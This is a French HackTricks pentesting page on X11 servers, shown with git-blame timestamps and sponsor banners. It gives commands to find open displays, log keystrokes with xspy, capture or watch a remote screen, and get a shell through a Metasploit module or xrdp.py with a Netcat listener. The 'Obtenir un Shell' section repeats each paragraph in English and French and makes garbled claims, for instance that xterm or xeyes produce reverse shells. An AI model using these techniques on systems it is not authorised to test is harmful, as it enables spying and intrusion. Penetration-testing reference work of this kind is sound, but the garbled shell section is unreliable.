hacktricks/network-services-pentesting/6000-pentesting-x11.md

248 lines
14 KiB
Markdown
Raw Normal View History

2023-03-05 19:54:13 +00:00
# 6000 - Pentesting X11
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes de bugs cryptographiques.**
2022-04-28 16:01:33 +00:00
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
2023-02-27 09:28:45 +00:00
**Acquérez de l'expérience en pentesting web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
2023-02-27 09:28:45 +00:00
**Devenez la légende du hacker web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
2023-02-27 09:28:45 +00:00
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2023-06-03 13:10:46 +00:00
## Informations de base
Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique. X ne spécifie pas non plus l'interface utilisateur - chaque programme gère cela.\
2023-06-03 13:10:46 +00:00
À partir de : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2023-06-03 13:10:46 +00:00
**Port par défaut :** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2023-06-03 13:10:46 +00:00
## Énumération
2023-06-03 13:10:46 +00:00
Vérifiez la **connexion anonyme :**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2023-06-03 13:10:46 +00:00
#### Énumération locale
Le fichier **`.Xauthority`** dans le dossier personnel de l'utilisateur est **utilisé** par **X11 pour l'autorisation**. D'après [**ici**](https://stackoverflow.com/a/37367518):
2023-06-03 13:10:46 +00:00
> MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans \~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
Pour **utiliser le cookie**, vous devez définir la variable d'environnement : **`export XAUTHORITY=/chemin/vers/.Xauthority`**
{% endhint %}
2023-06-03 13:10:46 +00:00
## Vérifier la connexion
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2023-03-05 19:54:13 +00:00
## Keyloggin
2023-06-03 13:10:46 +00:00
[xspy](http://tools.kali.org/sniffingspoofing/xspy) pour intercepter les frappes du clavier.
2023-06-03 13:10:46 +00:00
Exemple de sortie :
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2023-06-03 13:10:46 +00:00
## Capture d'écran
Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les vulnérabilités découvertes. Les captures d'écran peuvent également être utilisées pour illustrer les résultats du test de manière visuelle.
2023-06-03 13:10:46 +00:00
Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil `xwd`. Cet outil est généralement inclus dans les distributions Linux.
2023-06-03 13:10:46 +00:00
Pour capturer une capture d'écran, ouvrez un terminal et exécutez la commande suivante :
2023-06-03 13:10:46 +00:00
```
xwd -root -out screenshot.xwd
```
Cette commande capturera une capture d'écran de l'affichage racine du serveur X11 et l'enregistrera dans un fichier appelé `screenshot.xwd`.
Une fois que vous avez capturé la capture d'écran, vous pouvez la visualiser en utilisant l'outil `xwud`. Pour afficher la capture d'écran, exécutez la commande suivante :
```
xwud -in screenshot.xwd
```
Cette commande ouvrira une fenêtre affichant la capture d'écran capturée.
Il est important de noter que la capture d'écran peut contenir des informations sensibles, telles que des mots de passe ou des données confidentielles. Assurez-vous de traiter les captures d'écran avec précaution et de les supprimer une fois qu'elles ne sont plus nécessaires.
2023-06-03 13:10:46 +00:00
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Affichage du bureau à distance
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Pour **visualiser en direct**, nous devons utiliser
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2023-06-03 13:10:46 +00:00
## Obtenir un Shell
To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.
### X11 Forwarding
X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.
La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.
To enable X11 Forwarding, you need to set the `DISPLAY` environment variable to the IP address of your local machine followed by `:0.0`. You can do this by running the following command on the target machine:
Pour activer la redirection X11, vous devez définir la variable d'environnement `DISPLAY` sur l'adresse IP de votre machine locale suivie de `:0.0`. Vous pouvez le faire en exécutant la commande suivante sur la machine cible:
```bash
export DISPLAY=<your_local_ip>:0.0
```
Once X11 Forwarding is enabled, you can run graphical applications on the target machine and they will be displayed on your local machine.
Une fois la redirection X11 activée, vous pouvez exécuter des applications graphiques sur la machine cible et elles seront affichées sur votre machine locale.
### X11 Reverse Shell
Another technique to get a shell on a target machine is by using an X11 reverse shell. This technique involves creating a malicious X11 client that connects back to your machine and spawns a shell.
Une autre technique pour obtenir un shell sur une machine cible consiste à utiliser un shell inversé X11. Cette technique consiste à créer un client X11 malveillant qui se connecte à votre machine et génère un shell.
To create an X11 reverse shell, you can use tools like `xterm` or `xeyes` to generate the malicious X11 client. Once the client is executed on the target machine, it will establish a connection back to your machine and provide you with a shell.
Pour créer un shell inversé X11, vous pouvez utiliser des outils tels que `xterm` ou `xeyes` pour générer le client X11 malveillant. Une fois que le client est exécuté sur la machine cible, il établira une connexion vers votre machine et vous fournira un shell.
### X11 Port Forwarding
X11 Port Forwarding is another technique that can be used to get a shell on a target machine. This technique involves forwarding the X11 traffic from the target machine to your local machine.
La redirection de port X11 est une autre technique qui peut être utilisée pour obtenir un shell sur une machine cible. Cette technique consiste à rediriger le trafic X11 de la machine cible vers votre machine locale.
To perform X11 Port Forwarding, you can use tools like `socat` or `ssh` to establish a connection between the target machine and your local machine. Once the connection is established, you can run graphical applications on the target machine and they will be displayed on your local machine.
Pour effectuer une redirection de port X11, vous pouvez utiliser des outils tels que `socat` ou `ssh` pour établir une connexion entre la machine cible et votre machine locale. Une fois la connexion établie, vous pouvez exécuter des applications graphiques sur la machine cible et elles seront affichées sur votre machine locale.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
2023-06-03 13:10:46 +00:00
Autre méthode:
**Reverse Shell:** Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:
2022-02-06 12:02:47 +00:00
**./xrdp.py \<IP:0> no-disp**
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
Une nouvelle fenêtre de contrôle s'affiche, où nous pouvons voir l'option R-shell, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
Nous allons démarrer le mode d'écoute de Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
2023-06-03 13:10:46 +00:00
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
2023-06-03 13:10:46 +00:00
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
**Obtenez des récompenses sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
2022-11-05 09:07:43 +00:00
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
2023-02-27 09:28:45 +00:00
**Devenez une légende du hacking web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
2023-02-27 09:28:45 +00:00
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
2023-02-27 09:28:45 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2023-06-03 13:10:46 +00:00
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>